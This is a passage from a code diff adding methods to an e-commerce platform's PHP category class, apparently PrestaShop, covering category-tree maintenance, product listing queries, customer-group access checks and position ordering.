Depth level + */ + public function calcLevelDepth() + { + /* Root category */ + if (!$this->id_parent) + return 0; + + $parent_category = new Category((int)$this->id_parent); + if (!Validate::isLoadedObject($parent_category)) + throw new PrestaShopException('Parent category does not exist'); + return $parent_category->level_depth + 1; + } + + /** + * Re-calculate the values of all branches of the nested tree + */ + public static function regenerateEntireNtree() + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id: Configuration::get('PS_SHOP_DEFAULT'); + $categories = Db::getInstance()->executeS(' + SELECT c.`id_category`, c.`id_parent` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + ORDER BY c.`id_parent`, cs.`position` ASC'); + $categories_array = array(); + foreach ($categories as $category) + $categories_array[$category['id_parent']]['subcategories'][] = $category['id_category']; + $n = 1; + + if (isset($categories_array[0]) && $categories_array[0]['subcategories']) + Category::_subTree($categories_array, $categories_array[0]['subcategories'][0], $n); + } + + protected static function _subTree(&$categories, $id_category, &$n) + { + $left = $n++; + if (isset($categories[(int)$id_category]['subcategories'])) + foreach ($categories[(int)$id_category]['subcategories'] as $id_subcategory) + Category::_subTree($categories, (int)$id_subcategory, $n); + $right = (int)$n++; + + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'category + SET nleft = '.(int)$left.', nright = '.(int)$right.' + WHERE id_category = '.(int)$id_category.' LIMIT 1 + '); + } + + /** + * Updates level_depth for all children of the given id_category + * + * @param integer $id_category parent category + */ + public function recalculateLevelDepth($id_category) + { + if (!is_numeric($id_category)) + throw new PrestaShopException('id category is not numeric'); + /* Gets all children */ + $categories = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_category, id_parent, level_depth + FROM '._DB_PREFIX_.'category + WHERE id_parent = '.(int)$id_category); + /* Gets level_depth */ + $level = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT level_depth + FROM '._DB_PREFIX_.'category + WHERE id_category = '.(int)$id_category); + /* Updates level_depth for all children */ + foreach ($categories as $sub_category) + { + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'category + SET level_depth = '.(int)($level['level_depth'] + 1).' + WHERE id_category = '.(int)$sub_category['id_category']); + /* Recursive call */ + $this->recalculateLevelDepth($sub_category['id_category']); + } + } + + /** + * Return available categories + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array Categories + */ + public static function getCategories($id_lang = false, $active = true, $order = true, $sql_filter = '', $sql_sort = '', $sql_limit = '') + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'category` c + '.Shop::addSqlAssociation('category', 'c').' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').' + WHERE 1 '.$sql_filter.' '.($id_lang ? 'AND `id_lang` = '.(int)$id_lang : '').' + '.($active ? 'AND `active` = 1' : '').' + '.(!$id_lang ? 'GROUP BY c.id_category' : '').' + '.($sql_sort != '' ? $sql_sort : 'ORDER BY c.`level_depth` ASC, category_shop.`position` ASC').' + '.($sql_limit != '' ? $sql_limit : '') + ); + + if (!$order) + return $result; + + $categories = array(); + foreach ($result as $row) + $categories[$row['id_parent']][$row['id_category']]['infos'] = $row; + + return $categories; + } + + public static function getSimpleCategories($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.`id_category`, cl.`name` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + '.Shop::addSqlAssociation('category', 'c').' + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND c.`id_category` != '.Configuration::get('PS_ROOT_CATEGORY').' + GROUP BY c.id_category + ORDER BY c.`id_category`, category_shop.`position`'); + } + + public function getShopID() + { + return $this->id_shop; + } + + /** + * Return current category childs + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array Categories + */ + public function getSubCategories($id_lang, $active = true) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.*, cl.id_lang, cl.name, cl.description, cl.link_rewrite, cl.meta_title, cl.meta_keywords, cl.meta_description + FROM `'._DB_PREFIX_.'category` c + '.Shop::addSqlAssociation('category', 'c').' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category` + AND `id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN `'._DB_PREFIX_.'category_group` cg + ON (cg.`id_category` = c.`id_category`) + WHERE `id_parent` = '.(int)$this->id.' + '.($active ? 'AND `active` = 1' : '').' + AND cg.`id_group` '.$sql_groups.' + GROUP BY c.`id_category` + ORDER BY `level_depth` ASC, category_shop.`position` ASC + '); + + foreach ($result as &$row) + { + $row['id_image'] = file_exists(_PS_CAT_IMG_DIR_.$row['id_category'].'.jpg') ? (int)$row['id_category'] : Language::getIsoById($id_lang).'-default'; + $row['legend'] = 'no picture'; + } + return $result; + } + + /** + * Return current category products + * + * @param integer $id_lang Language ID + * @param integer $p Page number + * @param integer $n Number of products per page + * @param boolean $get_total return the number of results instead of the results themself + * @param boolean $active return only active products + * @param boolean $random active a random filter for returned products + * @param int $random_number_products number of products to return if random is activated + * @param boolean $check_access set to false to return all products (even if customer hasn't access) + * @return mixed Products or number of products + */ + public function getProducts($id_lang, $p, $n, $order_by = null, $order_way = null, $get_total = false, $active = true, $random = false, $random_number_products = 1, $check_access = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if ($check_access && !$this->checkAccess($context->customer->id)) + return false; + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($p < 1) $p = 1; + + if (empty($order_by)) + $order_by = 'position'; + else + /* Fix for all modules which are now using lowercase values for 'orderBy' parameter */ + $order_by = strtolower($order_by); + + if (empty($order_way)) + $order_way = 'ASC'; + if ($order_by == 'id_product' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + elseif ($order_by == 'name') + $order_by_prefix = 'pl'; + elseif ($order_by == 'manufacturer') + { + $order_by_prefix = 'm'; + $order_by = 'name'; + } + elseif ($order_by == 'position') + $order_by_prefix = 'cp'; + + if ($order_by == 'price') + $order_by = 'orderprice'; + + if (!Validate::isBool($active) || !Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + + $id_supplier = (int)Tools::getValue('id_supplier'); + + /* Return only the number of products */ + if ($get_total) + { + $sql = 'SELECT COUNT(cp.`id_product`) AS total + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product` + WHERE cp.`id_category` = '.(int)$this->id. + ($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : ''). + ($active ? ' AND product_shop.`active` = 1' : ''). + ($id_supplier ? 'AND p.id_supplier = '.(int)$id_supplier : ''); + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, MAX(product_attribute_shop.id_product_attribute) id_product_attribute, product_attribute_shop.minimal_quantity AS product_attribute_minimal_quantity, pl.`description`, pl.`description_short`, pl.`available_now`, + pl.`available_later`, pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, MAX(image_shop.`id_image`) id_image, + il.`legend`, m.`name` AS manufacturer_name, cl.`name` AS category_default, + DATEDIFF(product_shop.`date_add`, DATE_SUB(NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' + DAY)) > 0 AS new, product_shop.price AS orderprice + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p + ON p.`id_product` = cp.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.`default_on` = 1').' + '.Product::sqlStock('p', 'product_attribute_shop', false, $context->shop).' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'image` i + ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il + ON (image_shop.`id_image` = il.`id_image` + AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m + ON m.`id_manufacturer` = p.`id_manufacturer` + WHERE product_shop.`id_shop` = '.(int)$context->shop->id.' + AND cp.`id_category` = '.(int)$this->id + .($active ? ' AND product_shop.`active` = 1' : '') + .($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '') + .($id_supplier ? ' AND p.id_supplier = '.(int)$id_supplier : '') + .' GROUP BY product_shop.id_product'; + + if ($random === true) + { + $sql .= ' ORDER BY RAND()'; + $sql .= ' LIMIT 0, '.(int)$random_number_products; + } + else + $sql .= ' ORDER BY '.(isset($order_by_prefix) ? $order_by_prefix.'.' : '').'`'.pSQL($order_by).'` '.pSQL($order_way).' + LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if ($order_by == 'orderprice') + Tools::orderbyPrice($result, $order_way); + + if (!$result) + return array(); + + /* Modify SQL result */ + return Product::getProductsProperties($id_lang, $result); + } + + /** + * Return main categories + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array categories + */ + public static function getHomeCategories($id_lang, $active = true) + { + return self::getChildren(Configuration::get('PS_HOME_CATEGORY'), $id_lang, $active); + } + + public static function getRootCategory($id_lang = null, Shop $shop = null) + { + $context = Context::getContext(); + if (is_null($id_lang)) + $id_lang = $context->language->id; + if (!$shop) + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + else + $shop = $context->shop; + else + return new Category($shop->getCategory(), $id_lang); + $is_more_than_one_root_category = count(Category::getCategoriesWithoutParent()) > 1; + if ((!Shop::isFeatureActive() && $is_more_than_one_root_category) || + Shop::isFeatureActive() && $is_more_than_one_root_category && Shop::getContext() != Shop::CONTEXT_SHOP) + $category = Category::getTopCategory($id_lang); + else + $category = new Category($shop->getCategory(), $id_lang); + + return $category; + } + + /** + * + * @param int $id_parent + * @param int $id_lang + * @param bool $active + * @return array + */ + public static function getChildren($id_parent, $id_lang, $active = true, $id_shop = false) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + + $query = 'SELECT c.`id_category`, cl.`name`, cl.`link_rewrite`, category_shop.`id_shop` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + '.Shop::addSqlAssociation('category', 'c').' + WHERE `id_lang` = '.(int)$id_lang.' + AND c.`id_parent` = '.(int)$id_parent.' + '.($active ? 'AND `active` = 1' : '').' + GROUP BY c.`id_category` + ORDER BY category_shop.`position` ASC'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Return an array of all children of the current category + * + * @param int $id_lang + * @return Collection + */ + public function getAllChildren($id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $categories = new Collection('Category', $id_lang); + $categories->where('nleft', '>', $this->nleft); + $categories->where('nright', '<', $this->nright); + return $categories; + } + + /** + * This method allow to return children categories with the number of sub children selected for a product + * + * @param int $id_parent + * @param int $id_product + * @param int $id_lang + * @return array + */ + public static function getChildrenWithNbSelectedSubCat($id_parent, $selected_cat, $id_lang, Shop $shop = null, $use_shop_context = true) + { + if (!$shop) + $shop = Context::getContext()->shop; + + $id_shop = $shop->id ? $shop->id : Configuration::get('PS_SHOP_DEFAULT'); + $selected_cat = explode(',', str_replace(' ', '', $selected_cat)); + $sql = 'SELECT c.`id_category`, c.`level_depth`, cl.`name`, IF(( + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'category` c2 + WHERE c2.`id_parent` = c.`id_category` + ) > 0, 1, 0) AS has_children, '.($selected_cat ? '( + SELECT count(c3.`id_category`) + FROM `'._DB_PREFIX_.'category` c3 + WHERE c3.`nleft` > c.`nleft` + AND c3.`nright` < c.`nright` + AND c3.`id_category` IN ('.implode(',', array_map('intval', $selected_cat)).') + )' : '0').' AS nbSelectedSubCat + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category` '.Shop::addSqlRestrictionOnLang('cl', $id_shop).')'; + $sql .= ' LEFT JOIN `'._DB_PREFIX_.'category_shop` cs ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.')'; + $sql .= ' WHERE `id_lang` = '.(int)$id_lang; + if (Shop::getContext() == Shop::CONTEXT_SHOP && $use_shop_context) + $sql .= ' AND cs.`id_shop` = '.(int)$shop->id; + $sql .= ' AND c.`id_parent` = '.(int)$id_parent; + if (!Shop::isFeatureActive() || Shop::getContext() == Shop::CONTEXT_SHOP && $use_shop_context) + $sql .= ' ORDER BY cs.`position` ASC'; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Copy products from a category to another + * + * @param integer $id_old Source category ID + * @param boolean $id_new Destination category ID + * @return boolean Duplication result + */ + public static function duplicateProductCategories($id_old, $id_new) + { + $sql = 'SELECT `id_category` + FROM `'._DB_PREFIX_.'category_product` + WHERE `id_product` = '.(int)$id_old; + $result = Db::getInstance()->executeS($sql); + + $row = array(); + if ($result) + foreach ($result as $i) + $row[] = '('.implode(', ', array((int)$id_new, $i['id_category'], '(SELECT tmp.max + 1 FROM ( + SELECT MAX(cp.`position`) AS max + FROM `'._DB_PREFIX_.'category_product` cp + WHERE cp.`id_category`='.(int)$i['id_category'].') AS tmp)' + )).')'; + + $flag = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_product` (`id_product`, `id_category`, `position`) + VALUES '.implode(',', $row) + ); + return $flag; + } + + /** + * Check if category can be moved in another one. + * The category cannot be moved in a child category. + * + * @param integer $id_category current category + * @param integer $id_parent Parent candidate + * @return boolean Parent validity + */ + public static function checkBeforeMove($id_category, $id_parent) + { + if ($id_category == $id_parent) return false; + if ($id_parent == Configuration::get('PS_HOME_CATEGORY')) return true; + $i = (int)$id_parent; + + while (42) + { + $result = Db::getInstance()->getRow('SELECT `id_parent` FROM `'._DB_PREFIX_.'category` WHERE `id_category` = '.(int)$i); + if (!isset($result['id_parent'])) return false; + if ($result['id_parent'] == $id_category) return false; + if ($result['id_parent'] == Configuration::get('PS_HOME_CATEGORY')) return true; + $i = $result['id_parent']; + } + } + + public static function getLinkRewrite($id_category, $id_lang) + { + if (!Validate::isUnsignedId($id_category) || !Validate::isUnsignedId($id_lang)) + return false; + + if (isset(self::$_links[$id_category.'-'.$id_lang])) + return self::$_links[$id_category.'-'.$id_lang]; + + $result = Db::getInstance()->getRow(' + SELECT cl.`link_rewrite` + FROM `'._DB_PREFIX_.'category_lang` cl + WHERE `id_lang` = '.(int)$id_lang.' + '.Shop::addSqlRestrictionOnLang('cl').' + AND cl.`id_category` = '.(int)$id_category + ); + + self::$_links[$id_category.'-'.$id_lang] = $result['link_rewrite']; + + return $result['link_rewrite']; + } + + public function getLink(Link $link = null) + { + if (!$link) + $link = Context::getContext()->link; + return $link->getCategoryLink($this, $this->link_rewrite); + } + + public function getName($id_lang = null) + { + if (!$id_lang) + { + if (isset($this->name[Context::getContext()->language->id])) + $id_lang = Context::getContext()->language->id; + else + $id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + } + return isset($this->name[$id_lang]) ? $this->name[$id_lang] : ''; + } + + /** + * Light back office search for categories + * + * @param integer $id_lang Language ID + * @param string $query Searched string + * @param boolean $unrestricted allows search without lang and includes first category and exact match + * @return array Corresponding categories + */ + public static function searchByName($id_lang, $query, $unrestricted = false) + { + if ($unrestricted === true) + return Db::getInstance()->getRow(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + WHERE `name` LIKE \''.pSQL($query).'\' + '); + else + return Db::getInstance()->executeS(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category` + AND `id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + WHERE `name` LIKE \'%'.pSQL($query).'%\' + AND c.`id_category` != '.(int)Configuration::get('PS_HOME_CATEGORY') + ); + } + + /** + * Retrieve category by name and parent category id + * + * @param integer $id_lang Language ID + * @param string $category_name Searched category name + * @param integer $id_parent_category parent category ID + * @return array Corresponding category + */ + public static function searchByNameAndParentCategoryId($id_lang, $category_name, $id_parent_category) + { + return Db::getInstance()->getRow(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category` + AND `id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + WHERE `name` LIKE \''.pSQL($category_name).'\' + AND c.`id_category` != '.(int)Configuration::get('PS_HOME_CATEGORY').' + AND c.`id_parent` = '.(int)$id_parent_category + ); + } + + /** + * Get Each parent category of this category until the root category + * + * @param integer $id_lang Language ID + * @return array Corresponding categories + */ + public function getParentsCategories($id_lang = null) + { + $context = Context::getContext()->cloneContext(); + $context->shop = clone($context->shop); + + if (is_null($id_lang)) + $id_lang = $context->language->id; + + $categories = null; + $id_current = $this->id; + if (count(Category::getCategoriesWithoutParent()) > 1 && Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE') && count(Shop::getShops(true, null, true)) != 1) + $context->shop->id_category = Category::getTopCategory()->id; + elseif (!$context->shop->id) + $context->shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + $id_shop = $context->shop->id; + while (true) + { + $sql = ' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category` + AND `id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').')'; + if (Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP) + $sql .= ' + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.')'; + $sql .= ' + WHERE c.`id_category` = '.(int)$id_current; + if (Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP) + $sql .= ' + AND cs.`id_shop` = '.(int)$context->shop->id; + $root_category = Category::getRootCategory(); + if (Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP && + (!Tools::isSubmit('id_category') || + (int)Tools::getValue('id_category') == (int)$root_category->id || + (int)$root_category->id == (int)$context->shop->id_category)) + $sql .= ' + AND c.`id_parent` != 0'; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if (isset($result[0])) + $categories[] = $result[0]; + else if (!$categories) + $categories = array(); + if (!$result || ($result[0]['id_category'] == $context->shop->id_category)) + return $categories; + $id_current = $result[0]['id_parent']; + } + } + /** + * Specify if a category already in base + * + * @param $id_category Category id + * @return boolean + */ + public static function categoryExists($id_category) + { + $row = Db::getInstance()->getRow(' + SELECT `id_category` + FROM '._DB_PREFIX_.'category c + WHERE c.`id_category` = '.(int)$id_category); + + return isset($row['id_category']); + } + + public function cleanGroups() + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_group` WHERE `id_category` = '.(int)$this->id); + } + + public function cleanAssoProducts() + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_product` WHERE `id_category` = '.(int)$this->id); + } + + public function addGroups($groups) + { + foreach ($groups as $group) + { + $row = array('id_category' => (int)$this->id, 'id_group' => (int)$group); + Db::getInstance()->insert('category_group', $row); + } + } + + public function getGroups() + { + $groups = array(); + $result = Db::getInstance()->executeS(' + SELECT cg.`id_group` + FROM '._DB_PREFIX_.'category_group cg + WHERE cg.`id_category` = '.(int)$this->id + ); + foreach ($result as $group) + $groups[] = $group['id_group']; + return $groups; + } + + public function addGroupsIfNoExist($id_group) + { + $groups = $this->getGroups(); + if (!in_array((int)$id_group, $groups)) + return $this->addGroups(array((int)$id_group)); + else + return false; + } + + /** + * checkAccess return true if id_customer is in a group allowed to see this category. + * + * @param mixed $id_customer + * @access public + * @return boolean true if access allowed for customer $id_customer + */ + public function checkAccess($id_customer) + { + if (!$id_customer) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT ctg.`id_group` + FROM '._DB_PREFIX_.'category_group ctg + WHERE ctg.`id_category` = '.(int)$this->id.' AND ctg.`id_group` = '.(int)Group::getCurrent()->id.' + '); + } else { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT ctg.`id_group` + FROM '._DB_PREFIX_.'category_group ctg + INNER JOIN '._DB_PREFIX_.'customer_group cg on (cg.`id_group` = ctg.`id_group` AND cg.`id_customer` = '.(int)$id_customer.') + WHERE ctg.`id_category` = '.(int)$this->id + ); + } + if ($result && isset($result['id_group']) && $result['id_group']) + return true; + return false; + } + + /** + * Update customer groups associated to the object + * + * @param array $list groups + */ + public function updateGroup($list) + { + $this->cleanGroups(); + if ($list && !empty($list)) + $this->addGroups($list); + else + $this->addGroups(array(Configuration::get('PS_UNIDENTIFIED_GROUP'), Configuration::get('PS_GUEST_GROUP'), Configuration::get('PS_CUSTOMER_GROUP'))); + } + + public static function setNewGroupForHome($id_group) + { + if (!(int)$id_group) + return false; + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_group` + VALUES ('.(int)Context::getContext()->shop->getCategory().', '.(int)$id_group.') + '); + } + + public function updatePosition($way, $position) + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id: Configuration::get('PS_SHOP_DEFAULT'); + if (!$res = Db::getInstance()->executeS(' + SELECT cp.`id_category`, cs.`position`, cp.`id_parent` + FROM `'._DB_PREFIX_.'category` cp + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (cp.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + WHERE cp.`id_parent` = '.(int)$this->id_parent.' + ORDER BY cs.`position` ASC' + )) + return false; + + foreach ($res as $category) + if ((int)$category['id_category'] == (int)$this->id) + $moved_category = $category; + + if (!isset($moved_category) || !isset($position)) + return false; + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + $result = (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'category_shop` cs + LEFT JOIN `'._DB_PREFIX_.'category` c + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + SET cs.`position`= cs.`position` '.($way ? '- 1' : '+ 1').' + WHERE cs.`position` + '.($way + ? '> '.(int)$moved_category['position'].' AND cs.`position` <= '.(int)$position + : '< '.(int)$moved_category['position'].' AND cs.`position` >= '.(int)$position).' + AND c.`id_parent`='.(int)$moved_category['id_parent']) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'category_shop` cs + LEFT JOIN `'._DB_PREFIX_.'category` c + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + SET cs.`position` = '.(int)$position.' + WHERE c.`id_parent` = '.(int)$moved_category['id_parent'].' + AND c.`id_category`='.(int)$moved_category['id_category'])); + Hook::exec('actionCategoryUpdate'); + return $result; + } + + /** + * cleanPositions keep order of category in $id_category_parent, + * but remove duplicate position. Should not be used if positions + * are clean at the beginning ! + * + * @param mixed $id_category_parent + * @return boolean true if succeed + */ + public static function cleanPositions($id_category_parent = null) + { + if ($id_category_parent === null) + return; + $return = true; + + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + $result = Db::getInstance()->executeS(' + SELECT c.`id_category` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + WHERE c.`id_parent` = '.(int)$id_category_parent.' + ORDER BY cs.`position` + '); + $count = count($result); + for ($i = 0; $i < $count; $i++) + { + $sql = ' + UPDATE `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + SET cs.`position` = '.(int)($i+1).' + WHERE c.`id_parent` = '.(int)$id_category_parent.' + AND c.`id_category` = '.(int)$result[$i]['id_category']; + $return &= Db::getInstance()->execute($sql); + } + return $return; + } + + /** this function return the number of category + 1 having $id_category_parent as parent. + * + * @todo rename that function to make it understandable (getNewLastPosition for example) + * @param int $id_category_parent the parent category + * @param int $id_shop + * @return int + */ + public static function getLastPosition($id_category_parent, $id_shop) + { + return (int)(Db::getInstance()->getValue(' + SELECT MAX(cs.`position`) + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + WHERE c.`id_parent` = '.(int)$id_category_parent) + 1); + } + + public static function getUrlRewriteInformations($id_category) + { + return Db::getInstance()->executeS(' + SELECT l.`id_lang`, c.`link_rewrite` + FROM `'._DB_PREFIX_.'category_lang` AS c + LEFT JOIN `'._DB_PREFIX_.'lang` AS l ON c.`id_lang` = l.`id_lang` + WHERE c.`id_category` = '.(int)$id_category.' + AND l.`active` = 1' + ); + } + + /** + * Return nleft and nright fields for a given category + * + * @since 1.5.0 + * @param int $id + * @return array + */ + public static function getInterval($id) + { + $sql = 'SELECT nleft, nright, level_depth + FROM '._DB_PREFIX_.'category + WHERE id_category = '.(int)$id; + if (!$result = Db::getInstance()->getRow($sql)) + return false; + return $result; + } + + /** + * Check if current category is a child of shop root category + * + * @since 1.5.0 + * @param Shop $shop + * @return bool + */ + public function inShop(Shop $shop = null) + { + if (!$shop) + $shop = Context::getContext()->shop; + + if (!$interval = Category::getInterval($shop->getCategory())) + return false; + return ($this->nleft >= $interval['nleft'] && $this->nright <= $interval['nright']); + } + + public static function inShopStatic($id_category, Shop $shop = null) + { + if (!$shop || !is_object($shop)) + $shop = Context::getContext()->shop; + + if (!$interval = Category::getInterval($shop->getCategory())) + return false; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow('SELECT nleft, nright FROM `'._DB_PREFIX_.'category` WHERE id_category = '.(int)$id_category); + return ($row['nleft'] >= $interval['nleft'] && $row['nright'] <= $interval['nright']); + } + + public function getChildrenWs() + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.`id_category` as id + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + WHERE c.`id_parent` = '.(int)$this->id.' + AND c.`active` = 1 + ORDER BY cs.`position` ASC'); + return $result; + } + + public function getProductsWs() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT cp.`id_product` as id + FROM `'._DB_PREFIX_.'category_product` cp + WHERE cp.`id_category` = '.(int)$this->id.' + ORDER BY `position` ASC'); + return $result; + } + + /** + * Search for another category with the same parent and the same position + * + * @return array first category found + */ + public function getDuplicatePosition() + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + return Db::getInstance()->getRow(' + SELECT c.`id_category` as id + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + WHERE c.`id_parent` = '.(int)$this->id_parent.' + AND cs.`position` = '.(int)$this->position.' + AND c.`id_category` != '.(int)$this->id); + } + + public function getWsNbProductsRecursive() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT COUNT(distinct(id_product)) as nb_product_recursive + FROM `'._DB_PREFIX_.'category_product` + WHERE id_category IN ( + SELECT c2.id_category + FROM `'._DB_PREFIX_.'category` c2 + '.Shop::addSqlAssociation('category', 'c2').' + 